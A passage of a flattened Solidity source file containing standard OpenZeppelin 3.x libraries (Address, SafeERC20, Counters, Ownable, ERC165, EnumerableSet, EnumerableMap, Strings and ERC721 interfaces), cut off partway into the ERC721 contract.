* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/utils/EnumerableMap.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
